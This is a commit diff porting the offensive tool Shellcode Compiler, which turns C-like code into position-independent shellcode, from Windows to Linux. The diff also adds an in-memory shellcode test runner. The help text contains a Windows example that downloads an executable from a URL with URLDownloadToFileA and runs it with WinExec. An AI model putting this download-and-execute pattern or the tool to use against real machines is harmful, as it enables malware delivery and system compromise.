Skip to content

Commit 2cc102f

Browse files
committed
Initial port to Linux
1 parent b95b8d0 commit 2cc102f

File tree

12 files changed

+95
-71
lines changed

12 files changed

+95
-71
lines changed

Release/ShellcodeCompiler_x64.exe

0 Bytes
Binary file not shown.

Release/ShellcodeCompiler_x86.exe

0 Bytes
Binary file not shown.

ShellcodeCompiler/CommandLine.cpp

Lines changed: 35 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44
// Program version
55

6-
#define PROGRAM_VERSION "v0.2 Alpha"
6+
#define PROGRAM_VERSION "v2.0 Alpha"
77

88
// Global variable for command line arguments
99

@@ -33,13 +33,14 @@ void CommandLine::PrintHelp(string p_sFile)
3333
cout << "NytroSecurity [ nytrosecurity.com ]" << endl << endl;
3434

3535
cout << "Program description" << endl;
36-
cout << "-------------------" << endl;
37-
cout << "\tShellcode Compiler is a program that compiles C/C++ style code " << endl;
38-
cout << "into a small, position-independent and NULL-free shellcode for Windows." << endl;
39-
cout << "It is possible to call any Windows API function in a user-friendly way." << endl << endl;
36+
cout << "-------------------" << endl << endl;
37+
cout << "\tShellcode Compiler is a program that compiles C/C++ style code into a small, " << endl;
38+
cout << "\tposition-independent and NULL-free shellcode for Windows (x86 and x64) and " << endl;
39+
cout << "\tLinux(x86 and x64). It is possible to call any Windows API function or Linux " << endl;
40+
cout << "\tsyscall in a user - friendly way. " << endl << endl;
4041

4142
cout << "Command line options " << endl;
42-
cout << "--------------------" << endl;
43+
cout << "--------------------" << endl << endl;
4344
cout << "\t-h (--help) : Show this help message" << endl;
4445
cout << "\t-p (--platform) : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64" << endl;
4546
cout << "\t-v (--verbose) : Print detailed output" << endl;
@@ -48,18 +49,27 @@ void CommandLine::PrintHelp(string p_sFile)
4849
cout << "\t-o (--output) : Output file of the generated binary shellcode" << endl;
4950
cout << "\t-a (--assembbly) : Output file of the generated assembly code" << endl << endl;
5051

51-
cout << "Source code example" << endl;
52-
cout << "-------------------" << endl << endl;
52+
cout << "Windows example" << endl;
53+
cout << "---------------" << endl << endl;
5354
cout << "\tfunction URLDownloadToFileA(\"urlmon.dll\");" << endl;
5455
cout << "\tfunction WinExec(\"kernel32.dll\");" << endl;
5556
cout << "\tfunction ExitProcess(\"kernel32.dll\");" << endl << endl;
5657
cout << "\tURLDownloadToFileA(0,\"https://site.com/bk.exe\",\"bk.exe\",0,0);" << endl;
5758
cout << "\tWinExec(\"bk.exe\",0);" << endl;
5859
cout << "\tExitProcess(0);" << endl << endl;
5960

61+
cout << "Linux example" << endl;
62+
cout << "-------------" << endl << endl;
63+
cout << "\tchmod(\"/root/chmodme\", 511);" << endl;
64+
cout << "\twrite(1, \"Hello, world\", 12);" << endl;
65+
cout << "\tkill(1661, 9);" << endl;
66+
cout << "\tgetpid();" << endl;
67+
cout << "\texecve(\"/usr/bin/burpsuite\", 0, 0);" << endl;
68+
cout << "\texit(2" << endl << endl;
69+
6070
cout << "Invocation example" << endl;
61-
cout << "------------------" << endl;
62-
cout << "\t" << p_sFile << " -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl;
71+
cout << "------------------" << endl << endl;
72+
cout << "\t" << p_sFile << " -p windows_x64 -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl << endl;
6373
}
6474

6575
// Parse command line arguments
@@ -165,33 +175,29 @@ void CommandLine::ParseCommandLine(int argc, char *argv[])
165175

166176
if (g_bVerbose) DebugUtils::DumpAllData();
167177

178+
// Compile all data
179+
180+
string sASMOutput = Compile::CompileAllData();
181+
168182
// Output ASM file
169183

170184
if (g_bASMFile)
171185
{
172186
if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);
173-
Compile::CompileAllData(g_sASMFile);
174-
}
175-
else
176-
{
177-
string sFile = Utils::GetTemp();
178-
sFile += "\\SC.asm";
179-
g_sASMFile = sFile;
180-
if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);
181-
Compile::CompileAllData(sFile);
187+
Utils::WriteToFile(g_sASMFile, sASMOutput);
182188
}
183189

184190
// Output file
185191

186192
if (!g_bOutputFile)
187-
g_sOutputFile = "SC2.bin";
193+
g_sOutputFile = "Shellcode.bin";
188194

189195
if (Utils::FileExists(g_sOutputFile)) Utils::DeleteSourceFile(g_sOutputFile);
190196

191197
// Compile using Keystone engine
192198

193199
size_t nAssembledSize = 0;
194-
unsigned char *pcAssembled = KeystoneLib::Assemble(&nAssembledSize, Utils::ReadSourceFile(g_sASMFile));
200+
unsigned char *pcAssembled = KeystoneLib::Assemble(&nAssembledSize, sASMOutput);
195201

196202
if (nAssembledSize == 0)
197203
{
@@ -214,7 +220,14 @@ void CommandLine::ParseCommandLine(int argc, char *argv[])
214220
if (g_bTest)
215221
{
216222
cout << endl << "Testing shellcode..." << endl;
217-
Sleep(3000);
223+
224+
// Cross platform sleeping (be sure output file is written)
225+
226+
#if defined(_WIN32)
227+
Sleep(1000);
228+
#else
229+
sleep(1);
230+
#endif
218231
DebugUtils::TestShellcode(g_sOutputFile);
219232
}
220233
}

ShellcodeCompiler/CommandLine.h

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,12 @@
55
#include <string>
66
#include <iostream>
77

8+
#if defined(_WIN32)
9+
#include <Windows.h>
10+
#else
11+
#include <unistd.h>
12+
#endif
13+
814
#include "Utils.h"
915
#include "Compile.h"
1016
#include "DebugUtils.h"

ShellcodeCompiler/Compile.cpp

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -141,8 +141,10 @@ bool Compile::ParseFile(string p_sFileData)
141141

142142
// Compile all parsed data into ASM file
143143

144-
void Compile::CompileAllData(string p_sOutput)
144+
string Compile::CompileAllData()
145145
{
146+
string sOutput = "";
147+
146148
// Compile for Windows
147149

148150
if (Platform::GetPlatform() == PLATFORM_TYPE_LINUX_X86 || Platform::GetPlatform() == PLATFORM_TYPE_LINUX_X64)
@@ -151,32 +153,34 @@ void Compile::CompileAllData(string p_sOutput)
151153

152154
for (size_t i = 0; i < FunctionCalls::AllFunctionCalls.size(); i++)
153155
{
154-
Utils::WriteToFile(p_sOutput, FunctionCalls::GenerateFunctionCall(FunctionCalls::AllFunctionCalls[i]));
156+
sOutput += FunctionCalls::GenerateFunctionCall(FunctionCalls::AllFunctionCalls[i]);
155157
}
156158
}
157159
else
158160
{
159-
Utils::WriteToFile(p_sOutput, ASMHeader::GetASMHeader());
161+
sOutput += ASMHeader::GetASMHeader();
160162

161163
// Generate LoadLibrary for all DLLs (from declared functions)
162164

163165
for (size_t i = 0; i < DeclaredFunctions::AllDeclaredFunctions.size(); i++)
164166
{
165-
Utils::WriteToFile(p_sOutput, DeclaredFunctions::GenerateLoadLibraryCall(DeclaredFunctions::AllDeclaredFunctions[i].DLL));
167+
sOutput += DeclaredFunctions::GenerateLoadLibraryCall(DeclaredFunctions::AllDeclaredFunctions[i].DLL);
166168
}
167169

168170
// Generate GetProcAddress for all declared functions
169171

170172
for (size_t i = 0; i < DeclaredFunctions::AllDeclaredFunctions.size(); i++)
171173
{
172-
Utils::WriteToFile(p_sOutput, DeclaredFunctions::GenerateGetProcAddressCall(DeclaredFunctions::AllDeclaredFunctions[i].DLL, DeclaredFunctions::AllDeclaredFunctions[i].Name));
174+
sOutput += DeclaredFunctions::GenerateGetProcAddressCall(DeclaredFunctions::AllDeclaredFunctions[i].DLL, DeclaredFunctions::AllDeclaredFunctions[i].Name);
173175
}
174176

175177
// Generate function calls for all function calls
176178

177179
for (size_t i = 0; i < FunctionCalls::AllFunctionCalls.size(); i++)
178180
{
179-
Utils::WriteToFile(p_sOutput, FunctionCalls::GenerateFunctionCall(FunctionCalls::AllFunctionCalls[i]));
181+
sOutput += FunctionCalls::GenerateFunctionCall(FunctionCalls::AllFunctionCalls[i]);
180182
}
181183
}
184+
185+
return sOutput;
182186
}

ShellcodeCompiler/Compile.h

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,9 +25,9 @@ class Compile
2525

2626
static bool ParseFile(string p_sFileData);
2727

28-
// Compile all parsed data into ASM file
28+
// Compile all parsed data into ASM string
2929

30-
static void CompileAllData(string p_sOutput);
30+
static string CompileAllData();
3131
};
3232

3333
#endif

ShellcodeCompiler/DebugUtils.cpp

Lines changed: 28 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,13 @@
11

22
#include "DebugUtils.h"
3-
#include "SEHUtils.h"
3+
4+
#if defined(_WIN32)
5+
#include "SEHUtils.h"
6+
#else
7+
#include <cstdlib>
8+
#include <cstring>
9+
#include <sys/mman.h>
10+
#endif
411

512
// Dump all data - debug purposes
613

@@ -43,6 +50,8 @@ void DebugUtils::TestShellcode(string p_sFilename)
4350
return;
4451
}
4552

53+
#if defined(_WIN32)
54+
4655
// Get space for shellcode
4756

4857
void *sc = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
@@ -65,5 +74,23 @@ void DebugUtils::TestShellcode(string p_sFilename)
6574
cout << "Error when executing shellcode: "
6675
<< e.what() << endl;
6776
}
77+
78+
#else
79+
80+
// Test shellcode on Linux
81+
82+
unsigned char *sc = (unsigned char*)valloc(size);
83+
84+
if (sc == NULL)
85+
{
86+
cout << "Error: Cannot allocate space for shellcode!" << endl;
87+
return;
88+
}
89+
90+
memcpy(sc, p, size);
91+
mprotect(sc, size, PROT_READ | PROT_EXEC);
92+
(*(int(*)())sc)();
93+
94+
#endif
6895
}
6996

ShellcodeCompiler/KeystoneLib.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33

44
#include <string>
55
#include <iostream>
6+
#include <cstring>
67

78
#include "Platform.h"
89

ShellcodeCompiler/Utils.cpp

Lines changed: 8 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,24 @@
11

22
#include "Utils.h"
33

4-
// Get current working directory
5-
6-
string Utils::GetCurrentDir()
7-
{
8-
char buffer[1024];
9-
string sContent = "";
10-
11-
DWORD r = GetCurrentDirectory(1024, buffer);
12-
13-
if (r == 0) return "";
14-
sContent = buffer;
15-
16-
return sContent;
17-
}
18-
194
// Check if a file exists
205

216
bool Utils::FileExists(string p_sPath)
227
{
23-
DWORD dwAttrib = GetFileAttributes(p_sPath.c_str());
24-
25-
return (dwAttrib != INVALID_FILE_ATTRIBUTES);
8+
if (FILE * file = fopen(p_sPath.c_str(), "r")) {
9+
fclose(file);
10+
return true;
11+
}
12+
else {
13+
return false;
14+
}
2615
}
2716

2817
// Delete a file
2918

3019
bool Utils::DeleteSourceFile(string p_sFile)
3120
{
32-
return (bool)DeleteFile(p_sFile.c_str());
21+
return (bool)remove(p_sFile.c_str());
3322
}
3423

3524
// Function used to read a file
@@ -179,21 +168,6 @@ bool Utils::IsString(char p_cCharacter)
179168
p_cCharacter != '"' && p_cCharacter != ')' && p_cCharacter != '(' && p_cCharacter != ',');
180169
}
181170

182-
// Get TEMP folder
183-
184-
string Utils::GetTemp()
185-
{
186-
char buffer[1024];
187-
string sContent = "";
188-
189-
DWORD r = GetTempPath(1024, buffer);
190-
191-
if (r == 0) return "";
192-
sContent = buffer;
193-
194-
return sContent;
195-
}
196-
197171
// Function to convert a string to lower
198172

199173
string Utils::ToLower(string p_sString)

ShellcodeCompiler/Utils.h

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44

55
#define _CRT_SECURE_NO_WARNINGS
66

7-
#include <Windows.h>
7+
#include <cstdio>
88
#include <string>
99
#include <iostream>
1010
#include <sstream>
@@ -19,7 +19,6 @@ class Utils
1919

2020
// All utilities
2121

22-
static string GetCurrentDir();
2322
static bool FileExists(string p_sPath);
2423
static bool DeleteSourceFile(string p_sFile);
2524
static string ReadSourceFile(string p_sFilename);
@@ -30,7 +29,6 @@ class Utils
3029
static string CharToHexString(char p_cChar);
3130
static string IntToHexString(size_t p_iNumber);
3231
static bool IsString(char p_cCharacter);
33-
static string GetTemp();
3432
static string ToLower(string p_sString);
3533
};
3634

0 commit comments

Comments
 (0)